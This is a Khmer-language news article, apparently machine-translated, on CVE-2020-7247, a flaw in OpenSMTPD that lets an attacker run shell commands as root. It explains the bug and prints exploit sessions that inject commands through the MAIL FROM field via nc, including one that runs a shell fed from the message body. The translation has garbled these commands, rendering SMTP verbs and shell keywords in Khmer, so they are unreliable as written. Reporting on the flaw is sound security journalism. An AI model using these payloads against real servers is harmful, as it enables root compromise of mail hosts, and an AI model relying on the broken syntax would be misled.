ភាពងាយរងគ្រោះនៅក្នុង OpenSMTPD ដែលអនុញ្ញាតឱ្យដំណើរការកូដពីចម្ងាយជាមួយនឹងសិទ្ធិជា root

នៅក្នុងម៉ាស៊ីនមេដែលបង្កើតឡើងដោយគម្រោង OpenBSD បើក SMTPD កំណត់អត្តសញ្ញាណ ភាពងាយរងគ្រោះសំខាន់ (CVE-2020-7247) ដែលអនុញ្ញាតឱ្យអ្នកប្រតិបត្តិពាក្យបញ្ជាសែលពីចម្ងាយនៅលើម៉ាស៊ីនមេដោយមានសិទ្ធិអ្នកប្រើប្រាស់ជា root ។ ភាពងាយរងគ្រោះនេះត្រូវបានកំណត់អត្តសញ្ញាណក្នុងអំឡុងពេលធ្វើសវនកម្មឡើងវិញដែលធ្វើឡើងដោយ Qualys Security (សវនកម្ម OpenSMTPD ពីមុន ត្រូវ​បាន​គេ​អនុវត្ត ក្នុងឆ្នាំ 2015 ហើយភាពងាយរងគ្រោះថ្មីមានតាំងពីខែឧសភា ឆ្នាំ 2018)។ បញ្ហា លុបចោល នៅក្នុងការចេញផ្សាយ OpenSMTPD 6.6.2 ។ អ្នកប្រើប្រាស់ទាំងអស់ត្រូវបានណែនាំឱ្យដំឡើងការអាប់ដេតភ្លាមៗ (សម្រាប់ OpenBSD បំណះអាចត្រូវបានដំឡើងតាមរយៈ syspatch) ។

ជម្រើសវាយប្រហារពីរត្រូវបានស្នើឡើង។ ជម្រើសទីមួយដំណើរការក្នុងការកំណត់រចនាសម្ព័ន្ធ OpenSMTPD លំនាំដើម (ទទួលយកសំណើពី localhost ប៉ុណ្ណោះ) និងអនុញ្ញាតឱ្យអ្នកទាញយកបញ្ហានៅក្នុងមូលដ្ឋាន នៅពេលដែលអ្នកវាយប្រហារអាចចូលទៅកាន់ចំណុចប្រទាក់បណ្តាញមូលដ្ឋាន (loopback) នៅលើម៉ាស៊ីនមេ (ឧទាហរណ៍ នៅលើប្រព័ន្ធបង្ហោះ) . ជម្រើសទីពីរកើតឡើងនៅពេលដែល OpenSMTPD ត្រូវបានកំណត់រចនាសម្ព័ន្ធដើម្បីទទួលសំណើបណ្តាញខាងក្រៅ (ម៉ាស៊ីនមេសំបុត្រដែលទទួលយកសំបុត្រភាគីទីបី)។ អ្នកស្រាវជ្រាវបានរៀបចំគំរូដើមនៃការកេងប្រវ័ញ្ចដែលដំណើរការដោយជោគជ័យទាំងជាមួយកំណែ OpenSMTPD ដែលរួមបញ្ចូលនៅក្នុង OpenBSD 6.6 និងជាមួយនឹងកំណែចល័តសម្រាប់ប្រព័ន្ធប្រតិបត្តិការផ្សេងទៀត (ធ្វើឡើងនៅក្នុងការធ្វើតេស្ត Debian) ។

បញ្ហាគឺបណ្តាលមកពីកំហុសនៅក្នុងមុខងារ smtp_mailaddr() ដែលត្រូវបានហៅឱ្យពិនិត្យមើលភាពត្រឹមត្រូវនៃតម្លៃនៅក្នុងវាល "MAIL FROM" និង "RCPT TO" ដែលកំណត់អ្នកផ្ញើ/អ្នកទទួល ហើយត្រូវបានឆ្លងកាត់កំឡុងពេលភ្ជាប់។ ជាមួយម៉ាស៊ីនមេ។ ដើម្បីពិនិត្យមើលផ្នែកនៃអាសយដ្ឋានអ៊ីមែលដែលមកមុននិមិត្តសញ្ញា “@” មុខងារ smtp_mailaddr() ត្រូវបានគេហៅថា
valid_localpart() ដែលចាត់ទុកតួអក្សរ "!#$%&'*/?^`{|}~+-=_" ថាមានសុពលភាព (MAILADDR_ALLOWED) ដូចដែលតម្រូវដោយ RFC 5322។

ក្នុងករណីនេះ ការរត់ចេញពីខ្សែអក្សរដោយផ្ទាល់ត្រូវបានអនុវត្តនៅក្នុងមុខងារ mda_expand_token() ដែលជំនួសតែតួអក្សរ “!#$%&'*?`{|}~” (MAILADDR_ESCAPE) ។ ជាបន្តបន្ទាប់ បន្ទាត់ដែលបានរៀបចំក្នុង mda_expand_token() ត្រូវបានប្រើនៅពេលហៅភ្នាក់ងារចែកចាយ (MDA) ដោយប្រើពាក្យបញ្ជា 'execle("/bin/sh", "/bin/sh", "-c", mda_command,...' . ក្នុងករណីដាក់អក្សរទៅ mbox តាមរយៈ /bin/sh បន្ទាត់ “/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}” ត្រូវបានបើកដំណើរការ ដែលតម្លៃ “% {mbox.from}” រួមបញ្ចូលទិន្នន័យដែលរត់គេចពីប៉ារ៉ាម៉ែត្រ "MAIL FROM" ។

ខ្លឹមសារនៃភាពងាយរងគ្រោះគឺថា smtp_mailaddr() មានកំហុសឡូជីខល ដោយសារតែប្រសិនបើដែនទទេត្រូវបានផ្ញើទៅអ៊ីមែល មុខងារនឹងត្រឡប់លេខកូដផ្ទៀងផ្ទាត់ដោយជោគជ័យ ទោះបីជាផ្នែកនៃអាសយដ្ឋានមុន “@” មានតួអក្សរមិនត្រឹមត្រូវក៏ដោយ។ . លើសពីនេះ នៅពេលរៀបចំខ្សែអក្សរ មុខងារ mda_expand_token() មិនគេចចេញពីតួអក្សរពិសេសរបស់សែលដែលអាចធ្វើបានទាំងអស់នោះទេ ប៉ុន្តែមានតែតួអក្សរពិសេសប៉ុណ្ណោះដែលត្រូវបានអនុញ្ញាតនៅក្នុងអាសយដ្ឋានអ៊ីមែល។ ដូច្នេះ ដើម្បីដំណើរការពាក្យបញ្ជារបស់អ្នក វាគ្រប់គ្រាន់ក្នុងការប្រើនិមិត្តសញ្ញា “;” នៅក្នុងផ្នែកមូលដ្ឋាននៃអ៊ីមែល។ និងចន្លោះ ដែលមិនត្រូវបានរាប់បញ្ចូលក្នុងសំណុំ MAILADDR_ESCAPE និងមិនត្រូវបានរត់គេចខ្លួនទេ។ ឧទាហរណ៍:

$nc 127.0.0.1 25

HELO professor.falken
សំបុត្រពី៖<;គេង ៦៦;>
RCPT ទៅ៖
ទិន្នន័យ
.
ចេញ

បន្ទាប់ពីវគ្គនេះ OpenSMTPD នៅពេលបញ្ជូនទៅ mbox នឹងបើកដំណើរការពាក្យបញ្ជាតាមរយៈសែល

/usr/libexec/mail.local -f ;sleep 66; ឫស

ក្នុងពេលជាមួយគ្នានោះ លទ្ធភាពនៃការវាយប្រហារត្រូវបានកំណត់ដោយការពិតដែលថាផ្នែកមូលដ្ឋាននៃអាសយដ្ឋានមិនអាចលើសពី 64 តួអក្សរ ហើយតួអក្សរពិសេស '$' និង '|' ត្រូវបានជំនួសដោយ ":" នៅពេលរត់គេចខ្លួន។ ដើម្បីរំលងដែនកំណត់នេះ យើងប្រើការពិតដែលថាតួនៃសំបុត្រត្រូវបានបញ្ជូនបន្ទាប់ពីដំណើរការ /usr/libexec/mail.local តាមរយៈស្ទ្រីមបញ្ចូល ពោលគឺឧ។ តាមរយៈការរៀបចំអាសយដ្ឋាន អ្នកអាចបើកដំណើរការកម្មវិធីបកប្រែពាក្យបញ្ជា sh ហើយប្រើតួនៃអក្សរជាសំណុំនៃការណែនាំ។ ដោយសារបឋមកថាសេវា SMTP ត្រូវបានចង្អុលបង្ហាញនៅដើមសំបុត្រ វាត្រូវបានស្នើឱ្យប្រើពាក្យបញ្ជាអាននៅក្នុងរង្វិលជុំដើម្បីរំលងពួកវា។ ការកេងប្រវ័ញ្ចការងារមើលទៅដូចនេះ៖

$nc 192.168.56.143 25

HELO professor.falken
សំបុត្រពី៖<;សម្រាប់ខ្ញុំក្នុង 0 1 2 3 4 5 6 7 8 9 abcd;do read r;done;sh;exit 0;>
RCPT ទៅ៖[អ៊ីមែលការពារ]>
ទិន្នន័យ
#0
#1
...
#d
សម្រាប់ខ្ញុំនៅក្នុង WOPR; ធ្វើ
echo -n "($i)" && id || សម្រាក
រួចរាល់ > /root/x."`id -u`""$$"
.
ចេញ

ប្រភព: opennet.ru